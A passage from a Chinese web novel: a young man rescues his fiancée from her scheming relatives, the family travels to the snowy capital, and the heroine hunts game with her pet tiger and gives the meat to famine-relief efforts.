沉稳踏实,有眼色,会说话,不讨人嫌 都说人逢喜事精神爽,他这次前来是来接未婚妻的,穿的红衣锦服,脸色嘛,真的说不上好 宋锦啧啧两下,很是好奇:“二哥,怎么,未来二嫂没接到?” 宋顺之摇头:“在车里,喝了药睡着还没醒,等她醒了再打招呼吧” 宋锦歪头:“她怎么了?” 说到这个话题,宋顺之脸上带着掩盖不住的怒意,作为家里面情绪波动最小最稳重的人,这的很难得的事情。 他之前被晋王等人欺负,又是打板子又是瘸腿又被排挤,也没见他起怒 这一次未婚妻之事,倒是肉眼可见的起怒,看着不像是结亲,倒是要结仇了 宋顺之压下怒气,压着声音:“一会儿再说,阿璇她,以后就只有我们了,后面回去都城,她一个人无依无靠,我,还未成亲也不好 过于亲近,麻烦小妹多担待点” 宋锦不是个热心肠的人,但也不是什么心毒之人,大致猜到其中内情,她点了点头,应了下来,道:“行,只要她不招惹我,我不会针对她” 宋顺之扯起嘴角,带上柔意:“她性子温柔,豁达仁厚,肯定不会的” 宋锦见他这幅模样,忍不住啧啧两声,调侃:“人还没进门呢,二哥就这般护着人,二嫂真是好福气啊” 宋顺之有些不好意思了起来,只道:“她是我未婚妻,我自然要多看顾些,小妹日后也会遇到这般夫婿的” “那就借二哥吉言了”宋锦挑起了眉头,勾着唇,瞥了一眼身侧的齐铮,略过这个话题,笑,“我阿娘他们在那边,要过去吗?” 宋顺之端正起来:“理应如此” 对此,宋锦有些感慨 她那亲爹虽说不做人事,但是训人,还真有一套啊 别人家孩子多了,便是亲兄弟都斗来斗去,恨不得把亲爹资源全部抢走,这五个人倒是一心一意地把人当亲爹,半点不舍得怠慢 真就跟她娘说的那般,不像养娃,更像训狗 那带头的人,狗得不能再狗了 她摇摇头,带着宋顺之往回走去,期间,手划过齐铮的大手,往里面塞了一些药粉,然后摆了摆手,无声道别 永安城见了 齐铮漆黑的眸子里映着她的背影,直到人完全消失钻入马车里面,他捏着手心包好的药包,瞥向一旁站立的李青山,冲着人微微颔首 “走吧” 于是,两边车马一点点交汇,又一点点分流,朝着截然相反的方向驶去 第117章 你无恙就好 车马一路前行 宋锦靠在边上,翘着二郎腿,盖着小毯子,怀里放着火炉,一只手翻着话本,一只手拿着肉干在嘴里咔咔啃着 坐车的时间总是有些无聊,好在现在是冬日,马车遮风挡雨,棉被毯子铺得厚厚的,裹在里面也格外舒坦,不似夏日那般闷热 她看得开心入迷,也一点儿不影响她眼观八面 对面的人一动,她就察觉到了,放下书询问:“醒了?” 他们这一行之前就她和她娘两个女人,跟曲茂泽一个车厢自然无所谓,现在多了一个人,要么她们三个女的一个马车,要么 就宋锦被扔出来和这人一起 鉴于她老娘看病还需要曲茂泽,宋锦只能‘委屈巴巴’地离开,跑过来‘照顾’自己这倒霉的未来二嫂 从她们相遇到现在已经过了三个多时辰了,这人一直昏迷着,现在可算是醒了,再不醒宋锦都打算给她扎两针了 她问了两声,对面没有反应 “喂?” 宋锦挑起眉头,看着那还躺在小塌上一动不动的人 她穿得单薄,身形也有些单薄,半蜷着身子,裹着厚厚的毯子,随着宋锦出声,她依旧紧闭着眼睛,压着呼吸,但是时深时浅的呼吸还有轻颤的眼皮都暴露了她 宋锦挑着眉头,很快就想到了这人为何如此 她这未来二嫂也是倒霉蛋,这几年亲人相继离世,婚事也不断后拖,又从都城来到这边舅舅家,寄人篱下总归是要受些委屈的 所以宋顺之才会在这个节骨眼把人接走,宋商‘去世’,他丁忧,她守孝时间也快结束,用亡父的名头接走人,外面也说不了什么闲话 哪知道滕家胆子竟敢这般大,直接把人给关了起来,并且试图用和她长相相似的表妹替代,两人长得相似,尹千璇和宋家人接触也不多,仅见过几面,又过去了两年,容貌有些变化也正常,到时候人进了府,便是他们发现不对,事情也就扯不清了 好在宋顺之靠谱,在她只言片语中分清了人,找到了被关押,并且已经烧晕过去的真的尹千璇 她被关了有段时间了,后面又晕过去了,自然不知道发生了什么,听着外面车轮转动的声音,只以为自己被舅家送走,车内的人就是看押自己的人 她压了呼吸,攥紧了手,虽然头还有些发晕,还是努力地思索着后面该怎么办 虽然不知道这些人要把她带到哪儿去,但是肯定不是什么好地方,想到她舅舅他们的意图,滕千璇捏紧了手,呼吸又深了一点,她强迫自己冷静下来 冷静冷静 听车辙声,是平路上,现在在郊外 声音杂乱,一阵一阵的,还有马蹄和走步声,是车队,人多 人多的话不好逃,却也是最好逃的 鸟叫虫鸣,还有风吹树叶的声音,在林子里 …… 宋锦盯着这未来二嫂好一会儿,见她还是装睡,挑着眉头,过去用脚踢了踢她,粗声粗气:“快起来,别以为老娘没看到你,别想着逃,你敢逃,就给你腿打断” 说完,她还是一动不动 哟嚯,还挺能装的 宋锦清清嗓子,继续:“再装睡,我就把臭袜子塞你嘴里的哈” “……” 滕千璇装不下去了,她缓缓地睁开眼,眼睛因为风寒还有些发红模糊,她眨了几下,小心翼翼地打量着马车内的情况 先是她身上的被料,柔软厚实,上面的牡丹花纹精致而艳丽,一看就是上等的绣娘之作,更别说这马车宽大,一木一料,都带着真金实银的质感 舅舅家没这个资本 她猛地坐了起来,对上一双狭长的凤眸,黑白分明,眸光清亮,此刻正似笑非笑地看着自己 滕千璇瞬间失语,好一会儿,哑着声音:“宋,家妹妹?” 这几个月宋家的事情闹得沸沸扬扬,便是远在这边,她也听了些动静,知道宋家多了位小姐,乃宋首辅亲女,和他长得极像 巧了,滕千璇在都城的那几年见过宋商,并且记住了人 一瞬间,她就弄明白了怎么回事 她还以为,自己没希望了 几年过去,表妹和她长得本就相像,她再乔装打扮一番,以长开的名义,完全说得过去。本身,他们其实也没见过几面,上次见面还是两年前,再那之前,见面也不过寥寥几次 她十四定亲,定亲没几日就随着爹赴任地方,不过月余便生变故,十五爹死,十七娘走,十九爷去,一年年下来,她也从碧玉年华到桃李之季,曾经的友人也成婚育孩,她战战兢兢 一开始担心那人退婚,她以后无依,后面又担心自己拖累于人,少有安宁,好不容易终见希望,又被亲人陷害 滕千璇紧紧捏着被子,心绪起伏万分,眼角也一点点湿润,想到记忆中那人,心中涌着酸意 宋锦看她这幅模样,赶紧往后挪动,靠在马车边上,警惕:“你干什么?你哭也跟我没 关系,别想告我的状” 她不吃这套 滕千璇悲痛之意散去,哭笑不得:“宋小妹多虑了,我就是喜不自禁,我还以为这次得下去陪我爹娘了,没想到” 说到这,她捏着被子的手紧了紧,眼神也不自觉看向车帘处,眼神中带着期盼,一副欣喜又娇羞的模样 宋锦搓了搓胳膊:“得,我去喊人” 说着,她就要拉开起帘子喊人 滕千璇赶紧拉住她,咬着唇:“别,别喊” 她在小偏房关了几日,不用细看就知道自己现在有多糟糕 头发凌乱,衣服乱糟糟,浑身大喊,狼狈得不能再狼狈了 按照年纪来说,滕千璇已经算不得小姑娘了,今年二十一岁,但是按照事实,她从十五起就开始守孝,年复一年少有出门,每日接触都是书画 实在很难淡然下去 宋锦被她拉着,挑起眉头打量着这个未来二嫂,不得不说,那人对待五个儿子看似不上心,但是处处都是最好的 替宋行之选的杨彦珺就不说了,除去眼神不太好,容貌、家世、能力都是一等一的,性子强势直爽,和宋行之的耐心温意相搭配 至于滕千璇,婉约秀美,温柔聪颖,大方稳重,便是被亲人陷害,不知前路,醒来也镇定自若,没有要死要活,很快看清处境,却也不卑不亢 和宋顺之定能处到一起 当然,再是镇定,经历这般大事,她眼底还是带着些惊慌和怯意,宋锦这般打量着人,眼珠转动,摆了摆手:“行,我不叫,你先放开我” 滕千璇脸颊微红,有些不好意思地放开她,刚要解释一番 下一秒,刚才还答应得好好的宋锦一个扭身,拉开车帘探出脑袋 外面天色昏暗下来,左右前后的车队前行,左右的镖人有坐着牛车骡车的,也有骑着马匹的,整体速度说不上快,但是昼夜交替下来,速度在这年头还真说不上慢 她探着脑袋左右看看,没瞅到宋顺之的身影,但是没关系,她扯着嗓子大喊:“二哥二哥,你未婚妻醒了——” 滕千璇:…… 随着声音落下,很快就有马蹄声传了过来 很明显,因为担心未婚妻的情况,宋顺之一路都是骑在边上,没有回去马车里休息的 宋锦收回脑袋,看着滕千璇一言难尽的表情,狡黠一笑,摆摆手,就这么大摇大摆地掀开门帘跳下马车,跑回去骚扰自家老娘了 滕千璇哑然,但随着外面马蹄声接近,她担心也跟着跳得快了几分,看着有些乱糟糟的马车,咬了咬唇,想收拾,也不知道从哪里收拾,只能用手理了理头发,一摸就是一手的油意,她手一僵,赶紧用袖子擦了擦脸 果不其然还是一脸的油和汗 还好现在是冬日,若是夏日 滕千璇打了个寒颤,加快速度简单打理,直到马车外传来略显低沉的声音:“方便进来吗?” 她咬着唇,低头看着自己乱糟糟的模样,想喊人回去,话到嘴边又说不出来,最后眼睛一闭,破罐子破摔:“进吧” 门帘掀开,宋顺之踩着脚踏,利落进来 两人上次见面还是两年前,那时候滕千璇爷爷去世,她在都城再无亲人,舅家发出邀请,她思前想后还是拒绝了宋家的提议,独身来到这边昌渡府,一待就是两年 两年过去,宋顺之明显成熟不少,身形宽阔几分,眉眼也多了些坚毅,完全褪去了少年气,看过去就是个成熟坚毅的好男子 对比起来,滕千璇头发衣着凌乱,身上发着汗气,皮肤因为风寒发红,看起来格外狼狈 她咬着唇,心情很是复杂 滕家和宋家门第差距一直都在 她爹还在的时候,虽然他为人能干,寒门出生,不过十来年就成为三品大员,在朝廷也是后起之秀,但是和宋家绝无相提并论的可能 现在她爹娘皆已去世,她家和宋家更是天壤之别,不然她舅舅他们也不至于干出这般荒谬之事了 滕千璇看着这个久未相见的未婚夫,也不知该说些什么 宋顺之倒是不似她一般想那么多,他进了马车,走到人的跟前,伸手就按向她的额头,冬日寒凉下,她额头还是有些烫,还未褪去病意 大冷的天,她就倒在冰冷的石砖上,周围没有一个丫鬟看顾,他若是再晚一些寻到人,人指不定会如何 宋顺之愤怒之余,就越发怜惜人了,压着声音:“还有些烧,一会儿再吃点药,再有一个时辰的就有驿站,晚上好好休息一日,后面几日恐都要赶路,只能委屈你了” 滕千璇眼泪瞬间淌出,心里的惶恐后怕也藏不住:“不委屈,你能来,就是我之幸” 宋顺之本就是话少的人,家里兄弟四个,一个比一个能搞事,生命力就跟蟑螂似的,并不需要多照顾什么,好不容易来了个宋锦就更别说了 他有些无措,犹豫之下,伸手抹去她的眼泪,轻声:“别哭,等去了都城就好了,那些人,以后不会再出现在你面前了” 想到舅家亲人,滕千璇心中悲痛,哽咽沙哑:“他们怎么能这么做,我娘可是他亲姐姐啊,她走的时候,还挂念着他们……” 宋顺之耐心地听着她语无伦次地说着,看着她通红的眼,眼中是藏不住的怜惜心疼,又顾忌男女之别,直到她一声对不起传来 他终究还是没忍住,将人重重搂入怀里,轻拍她的后背:“没事,真的没事,你无恙就好……” ** 从昌渡府到永安城,日夜不歇的话,十来日也就到了 可惜,现在是冬日时候,从安东郡出来还好,一路往北,到了苍虹郡就开始下起了小雪,路况泥泞了起来,再往北走,一路上雨雪就没停过,尤其是走入永安境内 雪最深的地方,有膝盖那般高,车马路过艰难 这还是官道平地,月月皆有人维护,若换做其他小道山路 车马落陷,天寒地冻,猛兽侵袭…… 宋锦穿着厚袄皮靴,骑在马上,眯着眼看着远处山坡上嚎叫的身影,手上的长弓捏紧,一点点拉开,再放,长箭破空,宛如星火,直接穿破雪面 “嗷呜——” 狼群发出哀嚎,失去了狼王的群狼逐渐四散开来,一点点退开 “今年是近五年以来最冷的一年” 曲茂泽坐在车边,从车窗看向外面,雪花一点点落下,覆在天地间,入眼皆是白意,仔细看,能看到被雪压倒的树木,还有小屋 又是一年灾年啊 牛铁兰以往没见过雪,还有些憧憬,这一路下来,她就差裹成熊了,手脚都裹着不想露出,一张脸被冻得红彤彤的 她看向骑行的宋锦,担心:“你要不还是进来吧,外面冷,那么多侍卫镖师,没事的” 宋锦笑了笑,只是伸手过来 牛铁兰下意识握上去,暖洋洋的,还有些烫 宋锦咧着嘴:“别担心我,娘,快把帘子落下吧,你看看你冻的” 他们车上带着炭火,但是马车内燃烧到底不安全,只靠棉被这些,还是有些冷 牛铁兰见她如此,也没劝她,只道:“那你自己注意,有什么事喊我们” 宋锦笑:“行,我知道,你快歇着吧” 牛铁兰这才缩了回去,外面的风吹着冻得很,她脸都快开裂了 曲茂泽摇摇头,也嘱咐两句,就拉下帘子 宋锦扭了扭肩,看了看远处的山脉,有些遗憾地把弓箭收回 但凡那些狼胆子大一点,靠近一些她就能捡回来,狼皮做披风,狼肉喂老虎,多好啊,可惜太远了 她离开都城一月有余力,永安城雪大,觅食艰难,也不知道自家虎闺女日子过得如何了 宋锦拉着缰绳,骑着走在路上,全程巡视四周,一旦有兽类冒出头来,就直接一箭过去,免得饿极了眼的玩意儿下来惊了马 就这么一路下去,他们总算在启程的第二十三日,踏入了永安城的范围 那高大的山脉高耸于前,白幕之间,一道金影宛如金日,虎目铮铮地盯着山下一长串的队伍,金黄的眸中带着野兽的冷酷,它站在山巅,就这么盯着车队,直到看到了什么,它尾巴一点点立起,然后仰天长啸 “吼——” 虎啸之下,山中雪堆散落,它飞速朝着车队跳跃过来 枝叶晃动,山雪震动 宋锦骑在马背上,看着雪山中穿行的金黄猛虎,嘴角一点点勾起 永安城,到了 第118章 能者多劳 “来,黄黄,握手” “咬尾巴转圈” “来,嚎一声” …… 雪天来临,一朵朵雪花飘落,一个晚上便覆盖了昨夜才扫好的院子,堆起了厚厚一层 白色的雪地里,金色的猛虎坐立,脑袋圆圆耳圆圆,金色虎眸灿灿,像是巨大玩偶一般 它咬着尾巴,就这么转起了圈圈,看起来狗模狗样 在它旁边,金红少女撑地而坐,看着它自娱自乐的模样,璀璨而笑,又抬起脑袋,看着天上,任由雪花飘落脸上 她的视线一挪开,转着圈圈的黄黄耳朵 一动,很快就停了下来,松开嘴里的尾巴,开始在地里打起了滚,然后一个起身,重重甩毛 雪花飞溅 宋锦从地上坐了起来,盘着个腿,双手抱胸,顶着一身雪渣子,眯着眼看着它:“这么的,这几天对你太好了,你不习惯?” 黄黄趴在地上,前爪按着耳朵,睁着无辜的大眼睛:“眯” 可可爱爱的 宋锦瞬间没了气,扑过去抱着它揉捏一下,干脆就靠着它躺在地上,继续看雪 末日的雪带毒,打在身上跟子弹似的,毫无半点美感。不像现在,雪花又白又轻,打在身上还有些舒服 宋锦就这么躺在地上,悠悠闲闲 黄黄也老实趴着,当着自家人妈妈的抱枕,尾巴不停晃动,开心得不得了 它是家养虎,小时候就在小院子里,对于关院子很适应,现在有宋锦陪着,没吃吃喝都是上好的清理过的净肉,别提多舒服了 它嘴里发出咕噜咕噜的哼声,皮毛又很暖和,宋锦躺着躺着就被它传染了睡意,打了个哈欠,闭起眼睛 牛铁兰走进院子就看到这一幕,金虎红衣,白雪红梅,意境是足足的 但是 她凉凉出声:“这么好睡,怎么不干脆睡湖里算了” 大雪天的,谁家好人没事躺雪地里啊,又不是要冻死的叫花子 听到她的声音,宋锦讪讪起来,拍了拍身上的雪,一双比起平日红了不少的手拉着黄黄往屋檐下走,过去又一屁股躺在地上,就跟没有骨头似的 牛铁兰着宋锦,再看看她身后和她一个姿态的黄黄,更是嫌弃:“你是狗吗?没有凳子非要坐地上?” 出去一段时间,这破孩子前段时间好不容易练出来的仪态又没了,她想着就是心塞 宋锦懒洋洋地靠在黄黄身上,理直气壮:“好累啊,娘,我们这一路,来回一个半月呢” 牛铁兰:“累就去床上躺” 这是铁了心不让她回归原始自然,宋锦撇了撇嘴,还是磨磨蹭蹭地站了起来,朝着黄黄比了个手势:“自己玩去” 黄黄耳朵立起,摇摇尾巴,看看宋锦,再看看另一边的牛铁兰,咪了一声,就自己跑去院子里面滚雪了 她们是前日傍晚回的永安城,这段时间各种赶路,就这两日的休息时间根本不够。 至少牛铁兰现在浑身酸痛无力,就连吃东西都不是很想吃,不像宋锦,生龙活虎,回来就能上山打猎养老虎滚雪地 壮得更牛似的,野得跟狗一样 牛铁兰看着她懒散无聊的模样,摆了摆手,有些无力:“没事干去看看店铺” 宋锦来了精神:“好咧” 她就是个蹲不住的,一听到出去玩就来了精神,迈着腿就要往外面走 牛铁兰又拦人:“加个披风” 宋锦其实不冷,不过加一件也无所谓,她跑回房间,随便找了件红色的披上,就兴冲冲跑出国公府——宋商死后被册封国公,府邸也牌匾也换了,比起以前更气派了 她出门不喜人跟着,很少让府中的人送,都是随便走出去,看着个路过的牛车马车搭上,慢悠慢悠,路上看到点吃的还能跳下去买一点,再跟回去 天气凉爽的时候街头吃食种类最多,像现在天寒地冻、白雪飘飘,街上更多的还是卖面饼、汤团这一类热食,除此就是到处可见的卖柴火炭火的人家 “今年天可真冷,上一次这么冷还是五年前” 骡车的师傅是个三十多岁的壮年,中等身形,有些力气,看起来又不那么凶壮,车子也收拾得干干净净,上面还搭了小棚子挡风雪,每日生意还不错。 他感叹:“我记得那年闹灾,我老家不少人家屋子都被雪压垮,很多人收拾,还有两个死了。” 宋锦撑着下巴:“这天气比往年冷也看得出来,正常人家早早就该修理房子,每日扫雪吧” 师傅摇头:“那也得有那个条件,很多人家饭都吃不饱,哪有那个钱去费那个人力物力?还有些人懒,总觉得没事没事,真出事了后悔也来不及。而且那雪啊,连着十天半个月的下,再是注意,房子也受不了啊” 宋锦伸手接了接外面的雪:“这倒是,我前段时间去外地了才回来,这段时间永安城有闹灾的吗?” 师傅:“自然有,不过咱们陛下圣明仁慈,每日都有专门的救济发粮,穷苦人家日子还是要好些,不至于饿死冻死,再多的,你仔细看,这每日乞讨的人还是比以往多些” 宋锦才回来没几天,倒是没注意这个,仔细看,街道上确实隔一段路就有人乞讨,这些人穿的单薄,瑟瑟发抖 夏天时候,只要不下雨,随便找个地都能住,城外荒地也多野菜,努努力弄点鱼虾小兽也不难,底层日子好过多了 冬天天冷,衣服得穿厚的,住的地方也要挡风,不然很容易生病冻死 宋锦看着前方骨瘦如柴,走路跌跌撞撞的小乞儿,手心捏紧,那接了一路的雪花攥成小球,落入雪地里。她放下几个铜币,直接跳下骡车:“师傅,我还有事先走了,你去接其他人吧” 骡车师傅有些错愕:“哎,姑娘你慢一点” 漫天雪幕中,宋锦红衣似火,矫健似虎,就这么跳跃着消失在街道里,一路翻墙跃道,很快又回了宋府,悄无声息 “咻——” 一道口哨声传来,院子里打滚的黄黄警惕起身,金黄的大眼睛炯炯,很快就看到了墙上火红的身影。它摇了摇尾巴,咧起锋利的牙,一个起步,跳上墙角的树木,矫捷地翻墙出去,消失在墙边 雪花继续飘落,很快就掩盖了院子里的印记 直到一个时辰后,负责送吃食的仆从过来,看着空荡荡的院子,发出了惊恐的叫声 “虎小姐不在了——” “快找” …… 牛铁兰闻讯赶来,看着空荡荡的院子,她蹙起了眉头 负责喂食的是府里的马夫,平日就喂马牛这些,很有胆量,听得府里多了只老虎,自告奉勇担了喂养的责任,现在虎不见了,他腿都是软的 “奴才,奴才刚把肉收拾出来,过来就不见了虎,不会是跳出去了吧?这要是伤了人可如何是好” 那可是老虎啊 也是黄黄看起来圆滚滚可可爱爱的模样让他们失去了戒心,谁曾想,这么高的墙它都能翻走 一番查找,他们已经确定了它就是从树上跳走的 他们住的这一片达官贵人扎堆,万一伤了人…… 牛铁兰蹙着眉头,看着他们担心的模样,摆手:“无事,多半是那死丫头带走的,没有指令,黄黄不会跑的” 到底是自家养了好几年的老虎,牛铁兰虽然和它接触不多,也知道黄黄有多机灵,就跟成了精似的,一路从泗安县都到这里了,不至于突然跑走 至于别人偷走 只有妖怪有这么本事了 她不担心黄黄伤人,只是操心宋锦,她蹙着眉:“这死丫头,让她去看店,她又干什么去了?” 一只手抚平她蹙起的眉头 曲茂泽噙笑:“别担心,金金心里有数的” 牛铁兰无语:“有数?她?” 那丫头要是有数,她也不用操这么多心了 曲茂泽失笑:“没数你也没办法,她走都走了,好了,等她回来就是了。外面冷,回去烤炉子去,不是还要给你爹娘写信?” 牛铁兰抿了抿嘴,这才压下忧虑,跟着回院子里继续之前的焚香烤火,想着等人回来了定要好好说道说道 这么大人了,做事还是这般草率随意 没想到这一等,就是两天 ** 永安城这两日来往的行人不断 这个月会试考,各地的举人都赶了过来,想要多争取一次机会 而考生的钱,就是最好赚的 他们都是外地的,衣食住行都得要钱吧?尤其是住和食上,周围的人都赶过来,想要在年前多找点活计,卖点东西、打个下手,多个一文两文,马上过年的糖果钱又有了 再有今年雪大,后面路不好走,提前进来备年货换物资的 附近的人天不亮进城,又赶着关城门的点回去,城门早晚 都排着长队 城外风雪凛凛,像是利刃一般,砸在高大的城墙顶上,往上看去,顶上与风雪融为一体,威严凛冽,像是竖立在风雪中的天宫,庄严威风 城门下,行人商户老实排队,搓手哈气,时不时聊着天 城门外,两个大大的木棚立在那儿,几口大锅顶在火上,在风雪下飘着热气,让棚子里暖和的同时也湿漉漉的 一个棚里几个大厨忙碌做粥米面饼,另一个棚子站着衣着朴素但是秀丽年轻的小姑娘们,她们拿着汤勺给前面排着的灾民们打着粥米,散着面饼,忙忙碌碌的,几个人都在大冷天冒了热汗 “小姐,我来吧” 杨彦珺擦了擦汗,也没有逞强,把比她胳膊还要长的勺子递给丫鬟,到一边休息片刻。程思懿体力比她差不少,已经在一边坐着,揉着手了 杨彦珺看着好笑:“都说了让你站着就行” 程思懿捏了捏胳膊,叹气:“来都来了,总要给阿梨做个榜样吧?” 杨彦珺看去,另一边的小板凳上,大腿高的小阿梨拿着小汤勺努力地给面前的小乞儿们打着东西,小花安宁几个在旁边护着人,几个人年纪也不大,却跟小人人似的 穷人家孩子早当家,苦吃得多了,就成了能吃苦的人 杨彦珺喊了一声:“你们几个小心点” 几个人挥了挥手,继续在那里忙忙碌碌,给其他饿肚子的小孩子散东西,偶尔,自己也先啃上两口 杨彦珺看得好笑,又擦了擦汗 程思懿看着她这般模样,想说什么,又欲言又止 杨彦珺疑惑:“怎么了?” 程思懿摇了摇头 杨彦珺和她从小一起长大,对彼此十分了解,哪儿会信这个,走过去捏着她的肩,好笑:“有什么直接说就是了,和我还讲究起来了?” 程思懿无奈,倒也不是讲究,只不过,她看着杨彦珺脸上的笑,眉眼也松了下来,轻声:“我看你很喜欢这几个孩子” 杨彦珺好笑:“他们听话懂事,喜欢很奇怪吗?你不喜欢他们?” 程思懿轻声:“确实很讨人喜欢” 杨彦珺得意:“是吧?” 程思懿看着她这般模样,点了点头,面色有些无奈,还是没说什么 杨彦珺:“哎,怎么不说啊,你现在怎么磨磨蹭蹭的?” 程思懿:“磨蹭就磨蹭吧,你没事干继续施粥去” 见她这般,杨彦珺就知道问不出什么了,给了个白眼,坐在一边歇息,时不时地就盯向那边的几个孩子,眼中很是柔软 几个孩子穿的料子普通,但很厚实,大冬天的甚至还能热出大汗 花花和宁宁围着阿梨,护着人,却也一点不顾忌地吐槽 “好笨,粥又撒了,笨梨子” “衣服脏了,你小心点” “口水口水” …… 程思懿偶尔瞥上两眼,并不掺和他们小孩子的打闹。她是个严母,对于孩子要求很高,诗书礼乐要学,人间疾苦也要知,免得日后长大成了只不食人间烟火的小傻子 人这一辈子,哪能事事顺意,小时候多看多学,大了也少被糊弄 这次济粮,她让阿梨跟着出来就是为了让人能更深地了解外面,会珍惜东西,免得在家里嫌这嫌那,这也不吃那也不吃 她轻轻抿了口热茶,视线脱离几个孩子,看向前面依旧排着长队百姓,他们这次准备的粮食已经散了大半了,后面的人,一半以上都吃不到了 大雪严寒,这些人大多缺衣缺食,这般排着,也不知道又会有多少人感上风寒 可天寒地冻,每日天气变幻,上午还是晴日,下午就将降起大雪,她们也不好中途退走 程思懿道:“上次收的药材应该还有大半,过两日再熬点药分下去吧” 杨彦珺点头:“行,到时候让下人来吧” 总是亲自来,她们也顶不住 永安城像他们这般济粥的人不少,多少就看条件了。 杨彦珺家底厚,又会经营,再加上人脉广,每年都是弄这些最多的人之一,长年累月下来,有专门的人手,流程利落,井井有条,其他人家弄这些时候也会请她帮忙看看 程思懿看着她又恢复以往的能干利落,心里有些感慨 她这好友从小就很会组织善经营,婚后虽然依旧风生水起,但是多多少少,都带着侯府的利益,少了些纯粹,不似现在,从容淡然,整个人烨烨生辉 程思懿点了点头,刚想夸夸,就见人神色变换,直勾勾盯着一个方向,带着些错愕震惊,她跟着看去,嘴唇微张,也跟着惊异起来 前方风雪越大,一片白雪中,一道硕大的车架行来,这倒不是什么稀罕物,来往车辆很多。稀罕的是那车上鲜血淋淋,满是野物尸首,一个个堆叠在一起,压得车子吱吱作响 车子前面,少女红衣华服,旁边跟着一头圆润猛虎,脖间松松系着绳索,拴在骡车旁边 能不能走点心啊 杨彦珺按着自己的下巴合上,震惊之余,一言难尽道:“她们不是才回来吗?” 因着宋锦她们才回来没两日,想着她们还要休息,她又定好了济粥,就打算过两日再去拜访的,哪曾想这人这么能搞事情 这是去哪儿弄的啊 不待她们想明白,那边的小花几个已经几声尖叫,放下手里的东西就大步跑了过去 “郡主,郡主” “黄黄,大虫,大老虎” “肉肉肉” …… 小花和宁宁直接跑了过去,那小短腿吧嗒吧嗒,在雪里晃晃悠悠,看着一不注意就要摔下去的模样 宋锦因为连夜狩猎,染上的戾气杀意也跟着她们一点点晃走,她搭着脚,吹了声口哨 “你们几个怎么在这里?” 小花练武,体能哐哐的,就跟小炮仗一样跳上马车,不过很快又跳了回去,过去把慢吞吞大口喘气的宁宁一起拖了过来,两个一左一右扒着宋锦 “郡主郡主,你什么时候回来的?” “郡主郡主,我好想你啊” …… 宋锦啧啧两下,伸手弹弹她们的脑袋:“别扯我衣服,鼻涕也别往我衣服上擦” 两个人不管,紧紧搂着她,个子小小的,力气倒是不小 宋锦翻了个白眼,无语的同时,嘴角扬着,也就随她们去了 杨彦珺她们过来得慢一些,看着两个钻到她怀里不放的人,她心里酸溜溜的 虽然宋锦和她们先认识,但是真的论起来,杨彦珺和两个丫头相处更多,也更上心一些 宋锦想一出是一出的,又敲又打的,偏偏还更招她们喜欢 杨彦珺压下酸意,看着宋锦身后那一大车的野物,什么野鸡野鸭小鹿野猪山麂猴羊,她咋舌:“不是,你这是干什么去了?转行当猎户卖野兽了?” 宋锦搂着两个崽,呵呵一笑:“肤浅,一点思想觉悟都没有,你们可以施粥,我就只能赚钱了是吧?” 杨彦珺听出她的言外之意,惊诧:“你要把这些送出去?” 这一车东西,随随便便都值大几百两了 宋锦抬着下巴:“怎么,不行?” 杨彦珺看着那一车血淋淋的玩意儿,嘴角一抽:“……别告诉我,你打算就这么放外面,随便一杀一扔” 宋锦挑眉:“有什么问题?” 杨彦珺:…… 那问题可大了啊 她这一车子几千斤的野兽,去掉皮毛骨肉都上千斤,全部扔在这里,血淋淋的,不说收拾要花多少时间,就说这么一人一点分下去费的劲,还有骚乱 杨彦珺想着那个画面,神色已经痛苦了起来,看着宋锦毫不在意的模样,她神吸一口洗,果断:“不行,你下来,东西交给我,我来处理” 宋锦挑着眉头,就这么坐在骡车上,居高临下地看着她,眯着眼睛 杨彦珺没好气:“放心,不会贪你一丝一毫,我还没那么穷酸” 宋锦倏的一笑,从车上跳了下来:“行吧,那叫交给你了,好好干,加油干” 说着,她解下拴着黄黄的绳子,拉着老虎,大步跑走,一人一虎没一会儿就消失在风雪之中,留下一车的猎物,还有周遭的骚乱 杨彦珺沉默半晌,指着自己,不可思议:“我是不是被坑了?” 程思懿拍拍她的肩膀:“能者多劳” 谁让她明明早就知道明光郡主是什么人,还非要凑这个热闹,现在好玩了 她看看这大堆东西,噗嗤一笑,调侃好友:“无事,现在天寒,这些东西能放几个月,你能弄到过年,不用担心后面无聊了” 杨彦珺:…… 救命啊 第119章 二婚带娃的老头?…… “野猪三头,七百九十二斤,山麂两只,三百一十六斤,鹿三只……” “灵芝七朵,十年山参两只,党参、地黄……” 宋锦瘫坐在小塌上,她穿着白色兔绒冬服,修长的脖颈上围着一圈兔绒,随着她的哈欠一晃一晃,让她看起来多了几分小姑娘的模样 杨彦珺手上拿着账本,念了一堆,见到她这幅模样,没好气地合上账本,敲了敲:“你听没听啊” 她这两日为了弄这些玩意儿,觉都没有睡好,这人倒是好,手一甩,人一跑,跟没事人似的 面对她的不乐意,宋锦又打了个哈欠,随口:“听着呢” 杨彦 珺呵呵一笑:“那你说说,总共有多少斤来着” 宋锦打着哈哈:“有个三五千斤吧,辛苦辛苦” 真是一点儿也不走心 杨彦珺想着就是后悔,管它好坏,浪不浪费,她凑这个烂摊子干什么呢。这不算不知道,算下来,这批货价值千两,就这么送出去,怎么也得理明白 她又拿起账本,跳过细节,把重点地说了:“肉就不说了,全都煮了救济。这两日陆续开始,每日熬汤送出,三日一煮,能弄到过年。 三头野猪体型大,胃的成色上好,冉家老祖这几年一直高价收好货,三个三百两,鹿和山麂身上入药部分也值钱,二百三十七两,灵芝山参年头小,三百二十一两,那些皮毛拆了单卖一百六十五两,加起来一千零二十三两,去掉领头算一千两,这笔钱你怎么打算?” 一千两实在不是个小数目,就算杨彦珺往日掌家,去掉人情往来必须,侯府一年日常开销也就三千两,杂七杂八算上,也就五到七千两 除掉迎秋宴那种大会,像她之前施粥,一次也就千斤粮食,每次最多二三十两,便是贵一些的棉袄和药物,也远远不及 这个钱,她算着是真的烫手 宋锦没仔细听,就听到个一千两,她打着哈欠:“什么怎么算?都拿去用呗,你自己看着办,我又不缺这个钱” 这话听着可真让人讨厌 但是,又无法反驳 杨彦珺此刻坐在宋锦的房间里,肉眼看去,旁边的梳妆台前,是一个个檀木雕刻,金粉染色的木柜,里面摆满了各种首饰,不然不会连桌子上都还放着几匣子 鎏金玛瑙嵌绿松石首饰盒、象牙白玉盒、珐琅金丝盒、流光溢彩的珍珠螺雕盒…… 随便拎一样出来都是压箱底的嫁妆首饰,她这里一墙的架子都放不下 杨彦珺捂着心口:“你够了,别在我一个穷人面前炫耀” 她原本嫁妆还挺多的,现在少了一半,剩下的,古董字画不能动,能盈利的也就那么几个铺子,一年两三千两,听着不少,但是她要自己开销,还养着那么些人,马匹骡子,还有日常人情往来各种宴席 